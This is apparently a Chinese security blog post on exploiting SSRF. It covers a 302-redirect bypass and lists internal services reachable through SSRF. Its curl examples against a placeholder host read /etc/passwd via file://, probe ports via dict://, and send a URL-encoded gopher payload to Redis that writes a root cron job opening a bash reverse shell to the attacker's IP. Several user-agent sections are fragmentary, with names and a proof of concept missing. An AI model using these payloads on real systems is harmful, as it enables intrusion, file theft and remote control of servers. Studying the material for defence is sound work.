首先说一下302跳转,猪猪侠乌云上提出的,可绕过ssrf一些利用限制
支持http(s)协议的除了可以探测内网web服务,还可以对内网服务发起所有基于Web请求类型漏洞攻击,比如
ShellShock命令执行
JBOSS远程Invoker war命令执行
Java调试接口命令执行
axis2-admin部署Server命令执行
Jenkins Scripts接口命令执行
Confluence SSRF
Struts2命令执行
counchdb WEB API远程命令执行
mongodb SSRF
docker API远程命令执行
php_fpm/fastcgi 命令执行
tomcat命令执行
Elasticsearch引擎Groovy脚本命令执行
WebDav PUT上传任意文件
WebSphere Admin可部署war间接命令执行
Apache Hadoop远程命令执行
zentoPMS远程命令执行
HFS远程命令执行
glassfish任意文件读取
war文件部署间接命令执行
等等.......
我们可以以不同ua分别说明情况
当接受的请求ua为curl
时,它支持的协议会有
利用姿势,前辈文章很多,只简单举例
利用file协议读取文件
curl -v 'http://xxx.com/ssrf.php?url=file:///etc/passwd'
利用dict协议查看端口
curl -v 'http://xxx.com/ssrf.php?url=dict://127.0.0.1:22'
利用gopher协议攻击redis反弹shell
curl
-v
‘http://xxx.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fyour
ip%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
攻击fastcgi等等
当ua为
实例环境
一般默认情况支持协议为HTTP[S],支持302跳转
当ua为
实例环境
一般默认情况支持协议为HTTP[S],file,支持302跳转
当ua为
默认支持HTTP(s),支持302跳转
可能少见 在用phantomjs 直接渲染页面的时候 可以读取本地文件
Poc:
这里用ceye去接受请求,然后base64就是文件内容
当ua为ATS/6.0.0或者Apache Traffic Server/x.x.x ,默认支持http(s),不支持302跳转,可内网探测,可对内网服务发起所有基于Web请求类型漏洞攻击,大厂可能用的多一些。
如有错误,欢迎指正。